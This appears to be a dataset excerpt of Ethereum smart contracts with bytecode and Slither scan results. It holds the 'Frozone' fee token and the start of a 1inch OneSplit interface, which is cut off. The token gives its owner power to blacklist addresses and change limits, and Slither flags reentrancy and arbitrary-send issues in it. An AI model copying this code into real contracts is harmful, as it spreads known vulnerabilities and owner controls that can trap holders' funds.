address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0xf48eca1f28b330b0efe0b345109a8e8a13e4cbdb
/** //SPDX-License-Identifier: UNLICENSED Frozone Website: https://frozone-token.com/ Twitter: https://twitter.com/frozoneETH/ TG: https://t.me/frozoneportal */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FROZONE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isExcludedFromLimit; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public swapThreshold = 100_000_000 * 10**9; uint256 private _reflectionFee = 0; uint256 private _teamFee = 11; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Frozone"; string private constant _symbol = "FROZONE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap; bool private swapEnabled; bool private cooldownEnabled; uint256 private _maxTxAmount = 30_000_000_000 * 10**9; uint256 private _maxWalletAmount = 30_000_000_000 * 10**9; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address wallet1, address wallet2) { _feeAddrWallet1 = payable(wallet1); _feeAddrWallet2 = payable(wallet2); _rOwned[_msgSender()] = _rTotal; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[_feeAddrWallet1] = true; isExcludedFromFee[_feeAddrWallet2] = true; isExcludedFromLimit[owner()] = true; isExcludedFromLimit[address(this)] = true; isExcludedFromLimit[address(0xdead)] = true; isExcludedFromLimit[_feeAddrWallet1] = true; isExcludedFromLimit[_feeAddrWallet2] = true; emit Transfer(address(this), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) { require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit"); } if (!isExcludedFromLimit[to]) { require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit"); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); isExcludedFromLimit[address(uniswapV2Router)] = true; isExcludedFromLimit[uniswapV2Pair] = true; uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function changeMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount; } function changeMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount; } function changeSwapThreshold(uint256 amount) public onlyOwner { swapThreshold = amount; } function excludeFromFees(address account, bool excluded) public onlyOwner { isExcludedFromFee[account] = excluded; } function excludeFromLimits(address account, bool excluded) public onlyOwner { isExcludedFromLimit[account] = excluded; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) { _rOwned[recipient] = _rOwned[recipient].add(rAmount); emit Transfer(sender, recipient, tAmount); } else { _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rReflect, tReflect); emit Transfer(sender, recipient, tTransferAmount); } } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate); return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam); } function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tReflect = tAmount.mul(reflectFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam); return (tTransferAmount, tReflect, tTeam); } function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rReflect = tReflect.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam); return (rAmount, rTransferAmount, rReflect); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf91461049d578063d94160e0146104b2578063dd62ed3e146104e2578063f42938901461052857600080fd5b8063b515566a1461043d578063c02466681461045d578063c0a904a21461047d57600080fd5b8063715018a61461037a57806381bfdcca1461038f57806389f425e7146103af5780638da5cb5b146103cf57806395d89b41146103ed578063a9059cbb1461041d57600080fd5b8063313ce5671161013e5780635342acb4116101185780635342acb4146102ea5780635932ead11461031a578063677daa571461033a57806370a082311461035a57600080fd5b8063313ce5671461028157806349bd5a5e1461029d57806351bc3c85146102d557600080fd5b80630445b6671461019157806306fdde03146101ba578063095ea7b3146101f357806318160ddd1461022357806323b872dd1461023f578063273123b71461025f57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a7600b5481565b6040519081526020015b60405180910390f35b3480156101c657600080fd5b5060408051808201909152600781526646726f7a6f6e6560c81b60208201525b6040516101b19190611d03565b3480156101ff57600080fd5b5061021361020e366004611b94565b61053d565b60405190151581526020016101b1565b34801561022f57600080fd5b50683635c9adc5dea000006101a7565b34801561024b57600080fd5b5061021361025a366004611b27565b610554565b34801561026b57600080fd5b5061027f61027a366004611ab7565b6105bd565b005b34801561028d57600080fd5b50604051600981526020016101b1565b3480156102a957600080fd5b506011546102bd906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102e157600080fd5b5061027f610611565b3480156102f657600080fd5b50610213610305366004611ab7565b60056020526000908152604090205460ff1681565b34801561032657600080fd5b5061027f610335366004611c86565b61064a565b34801561034657600080fd5b5061027f610355366004611cbe565b610692565b34801561036657600080fd5b506101a7610375366004611ab7565b6106c1565b34801561038657600080fd5b5061027f6106e3565b34801561039b57600080fd5b5061027f6103aa366004611cbe565b610757565b3480156103bb57600080fd5b5061027f6103ca366004611cbe565b610786565b3480156103db57600080fd5b506000546001600160a01b03166102bd565b3480156103f957600080fd5b5060408051808201909152600781526646524f5a4f4e4560c81b60208201526101e6565b34801561042957600080fd5b50610213610438366004611b94565b6107b5565b34801561044957600080fd5b5061027f610458366004611bbf565b6107c2565b34801561046957600080fd5b5061027f610478366004611b67565b610866565b34801561048957600080fd5b5061027f610498366004611b67565b6108bb565b3480156104a957600080fd5b5061027f610910565b3480156104be57600080fd5b506102136104cd366004611ab7565b60066020526000908152604090205460ff1681565b3480156104ee57600080fd5b506101a76104fd366004611aef565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053457600080fd5b5061027f610cfb565b600061054a338484610d25565b5060015b92915050565b6000610561848484610e49565b6105b384336105ae85604051806060016040528060288152602001611ed4602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061128f565b610d25565b5060019392505050565b6000546001600160a01b031633146105f05760405162461bcd60e51b81526004016105e790611d56565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b03161461063157600080fd5b600061063c306106c1565b9050610647816112c9565b50565b6000546001600160a01b031633146106745760405162461bcd60e51b81526004016105e790611d56565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106bc5760405162461bcd60e51b81526004016105e790611d56565b601255565b6001600160a01b03811660009081526002602052604081205461054e9061146e565b6000546001600160a01b0316331461070d5760405162461bcd60e51b81526004016105e790611d56565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107815760405162461bcd60e51b81526004016105e790611d56565b601355565b6000546001600160a01b031633146107b05760405162461bcd60e51b81526004016105e790611d56565b600b55565b600061054a338484610e49565b6000546001600160a01b031633146107ec5760405162461bcd60e51b81526004016105e790611d56565b60005b81518110156108625760016007600084848151811061081e57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061085a81611e69565b9150506107ef565b5050565b6000546001600160a01b031633146108905760405162461bcd60e51b81526004016105e790611d56565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108e55760405162461bcd60e51b81526004016105e790611d56565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461093a5760405162461bcd60e51b81526004016105e790611d56565b601154600160a01b900460ff16156109945760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105e7565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109d13082683635c9adc5dea00000610d25565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0a57600080fd5b505afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611ad3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8a57600080fd5b505afa158015610a9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac29190611ad3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b429190611ad3565b601180546001600160a01b0319166001600160a01b03928316178155601080548316600090815260066020526040808220805460ff1990811660019081179092559454861683529120805490931617909155541663f305d7194730610ba6816106c1565b600080610bbb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610c1e57600080fd5b505af1158015610c32573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c579190611cd6565b50506011805463ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610cc357600080fd5b505af1158015610cd7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108629190611ca2565b600e546001600160a01b0316336001600160a01b031614610d1b57600080fd5b47610647816114f2565b6001600160a01b038316610d875760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e7565b6001600160a01b038216610de85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ead5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e7565b6001600160a01b038216610f0f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e7565b80610f19846106c1565b1015610f765760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105e7565b6000546001600160a01b03848116911614801590610fa257506000546001600160a01b03838116911614155b1561127f576001600160a01b03831660009081526007602052604090205460ff16158015610fe957506001600160a01b03821660009081526007602052604090205460ff16155b610ff257600080fd5b6001600160a01b03831660009081526006602052604090205460ff16158061104b57506011546001600160a01b03848116911614801561104b57506001600160a01b03821660009081526006602052604090205460ff16155b156110b8576012548111156110b85760405162461bcd60e51b815260206004820152602d60248201527f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560448201526c19591cc81b585e081b1a5b5a5d609a1b60648201526084016105e7565b6001600160a01b03821660009081526006602052604090205460ff1661115157601354816110e5846106c1565b6110ef9190611dfb565b11156111515760405162461bcd60e51b815260206004820152602b60248201527f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460448201526a1cc81b585e081b1a5b5a5d60aa1b60648201526084016105e7565b6011546001600160a01b03848116911614801561117c57506010546001600160a01b03838116911614155b80156111a157506001600160a01b03821660009081526005602052604090205460ff16155b80156111b65750601154600160b81b900460ff165b15611204576001600160a01b03821660009081526008602052604090205442116111df57600080fd5b6111ea42603c611dfb565b6001600160a01b0383166000908152600860205260409020555b600061120f306106c1565b601154909150600160a81b900460ff1615801561123a57506011546001600160a01b03858116911614155b801561124f5750601154600160b01b900460ff165b801561125d5750600b548110155b1561127d5761126b816112c9565b47801561127b5761127b476114f2565b505b505b61128a838383611577565b505050565b600081848411156112b35760405162461bcd60e51b81526004016105e79190611d03565b5060006112c08486611e52565b95945050505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061131f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137357600080fd5b505afa158015611387573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ab9190611ad3565b816001815181106113cc57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546113f29130911684610d25565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142b908590600090869030904290600401611d8b565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b60006009548211156114d55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105e7565b60006114df611582565b90506114eb83826115a5565b9392505050565b600e546001600160a01b03166108fc61150c8360026115a5565b6040518115909202916000818181858888f19350505050158015611534573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61154f8360026115a5565b6040518115909202916000818181858888f19350505050158015610862573d6000803e3d6000fd5b61128a8383836115e7565b600080600061158f6117a7565b909250905061159e82826115a5565b9250505090565b60006114eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117e9565b6000806000806000806115f987611817565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162b9087611874565b6001600160a01b038a1660009081526002602090815260408083209390935560059052205460ff168061167657506001600160a01b03881660009081526005602052604090205460ff165b156116ff576001600160a01b03881660009081526002602052604090205461169e90876118b6565b6001600160a01b03808a1660008181526002602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116f2908b815260200190565b60405180910390a361179c565b6001600160a01b03881660009081526002602052604090205461172290866118b6565b6001600160a01b03891660009081526002602052604090205561174481611915565b61174e848361195f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179391815260200190565b60405180910390a35b505050505050505050565b6009546000908190683635c9adc5dea000006117c382826115a5565b8210156117e057505060095492683635c9adc5dea0000092509050565b90939092509050565b6000818361180a5760405162461bcd60e51b81526004016105e79190611d03565b5060006112c08486611e13565b60008060008060008060008060006118348a600c54600d54611983565b9250925092506000611844611582565b905060008060006118578e8787876119d8565b919e509c509a509598509396509194505050505091939550919395565b60006114eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061128f565b6000806118c38385611dfb565b9050838110156114eb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e7565b600061191f611582565b9050600061192d8383611a28565b3060009081526002602052604090205490915061194a90826118b6565b30600090815260026020526040902055505050565b60095461196c9083611874565b600955600a5461197c90826118b6565b600a555050565b600080808061199d60646119978989611a28565b906115a5565b905060006119b060646119978a89611a28565b905060006119c8826119c28b86611874565b90611874565b9992985090965090945050505050565b60008080806119e78886611a28565b905060006119f58887611a28565b90506000611a038888611a28565b90506000611a15826119c28686611874565b939b939a50919850919650505050505050565b600082611a375750600061054e565b6000611a438385611e33565b905082611a508583611e13565b146114eb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e7565b8035611ab281611eb0565b919050565b600060208284031215611ac8578081fd5b81356114eb81611eb0565b600060208284031215611ae4578081fd5b81516114eb81611eb0565b60008060408385031215611b01578081fd5b8235611b0c81611eb0565b91506020830135611b1c81611eb0565b809150509250929050565b600080600060608486031215611b3b578081fd5b8335611b4681611eb0565b92506020840135611b5681611eb0565b929592945050506040919091013590565b60008060408385031215611b79578182fd5b8235611b8481611eb0565b91506020830135611b1c81611ec5565b60008060408385031215611ba6578182fd5b8235611bb181611eb0565b946020939093013593505050565b60006020808385031215611bd1578182fd5b823567ffffffffffffffff80821115611be8578384fd5b818501915085601f830112611bfb578384fd5b813581811115611c0d57611c0d611e9a565b8060051b604051601f19603f83011681018181108582111715611c3257611c32611e9a565b604052828152858101935084860182860187018a1015611c50578788fd5b8795505b83861015611c7957611c6581611aa7565b855260019590950194938601938601611c54565b5098975050505050505050565b600060208284031215611c97578081fd5b81356114eb81611ec5565b600060208284031215611cb3578081fd5b81516114eb81611ec5565b600060208284031215611ccf578081fd5b5035919050565b600080600060608486031215611cea578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611d2f57858101830151858201604001528201611d13565b81811115611d405783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611dda5784516001600160a01b031683529383019391830191600101611db5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e0e57611e0e611e84565b500190565b600082611e2e57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e4d57611e4d611e84565b500290565b600082821015611e6457611e64611e84565b500390565b6000600019821415611e7d57611e7d611e84565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461064757600080fd5b801515811461064757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220abd5be6749c4fdf1e7d42c83f0436bddc20229fb32c88824c2eebaaba9b97d9764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
200
0xe82a4a65907a61177b3f28a822c83e17df52ca18
pragma solidity ^0.5.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // // [ msg.sender ] // | | // | | // \_/ // +---------------+ ________________________________ // | OneSplitAudit | _______________________________ \ // +---------------+ \ \ // | | ______________ | | (staticcall) // | | / ____________ \ | | // | | (call) / / \ \ | | // | | / / | | | | // \_/ | | \_/ \_/ // +--------------+ | | +----------------------+ // | OneSplitWrap | | | | OneSplitViewWrap | // +--------------+ | | +----------------------+ // | | | | | | // | | (delegatecall) | | (staticcall) | | (staticcall) // \_/ | | \_/ // +--------------+ | | +------------------+ // | OneSplit | | | | OneSplitView | // +--------------+ | | +------------------+ // | | / / // \ \________________/ / // \__________________/ // contract IOneSplitConsts { // flags = FLAG_DISABLE_UNISWAP + FLAG_DISABLE_BANCOR + ... uint256 internal constant FLAG_DISABLE_UNISWAP = 0x01; uint256 internal constant DEPRECATED_FLAG_DISABLE_KYBER = 0x02; // Deprecated uint256 internal constant FLAG_DISABLE_BANCOR = 0x04; uint256 internal constant FLAG_DISABLE_OASIS = 0x08; uint256 internal constant FLAG_DISABLE_COMPOUND = 0x10; uint256 internal constant FLAG_DISABLE_FULCRUM = 0x20; uint256 internal constant FLAG_DISABLE_CHAI = 0x40; uint256 internal constant FLAG_DISABLE_AAVE = 0x80; uint256 internal constant FLAG_DISABLE_SMART_TOKEN = 0x100; uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_ETH = 0x200; // Deprecated, Turned off by default uint256 internal constant FLAG_DISABLE_BDAI = 0x400; uint256 internal constant FLAG_DISABLE_IEARN = 0x800; uint256 internal constant FLAG_DISABLE_CURVE_COMPOUND = 0x1000; uint256 internal constant FLAG_DISABLE_CURVE_USDT = 0x2000; uint256 internal constant FLAG_DISABLE_CURVE_Y = 0x4000; uint256 internal constant FLAG_DISABLE_CURVE_BINANCE = 0x8000; uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_DAI = 0x10000; // Deprecated, Turned off by default uint256 internal constant DEPRECATED_FLAG_ENABLE_MULTI_PATH_USDC = 0x20000; // Deprecated, Turned off by default uint256 internal constant FLAG_DISABLE_CURVE_SYNTHETIX = 0x40000; uint256 internal constant FLAG_DISABLE_WETH = 0x80000; uint256 internal constant FLAG_DISABLE_UNISWAP_COMPOUND = 0x100000; // Works only when one of assets is ETH or FLAG_ENABLE_MULTI_PATH_ETH uint256 internal constant FLAG_DISABLE_UNISWAP_CHAI = 0x200000; // Works only when ETH<>DAI or FLAG_ENABLE_MULTI_PATH_ETH uint256 internal constant FLAG_DISABLE_UNISWAP_AAVE = 0x400000; // Works only when one of assets is ETH or FLAG_ENABLE_MULTI_PATH_ETH uint256 internal constant FLAG_DISABLE_IDLE = 0x800000; uint256 internal constant FLAG_DISABLE_MOONISWAP = 0x1000000; uint256 internal constant FLAG_DISABLE_UNISWAP_V2 = 0x2000000; uint256 internal constant FLAG_DISABLE_UNISWAP_V2_ETH = 0x4000000; 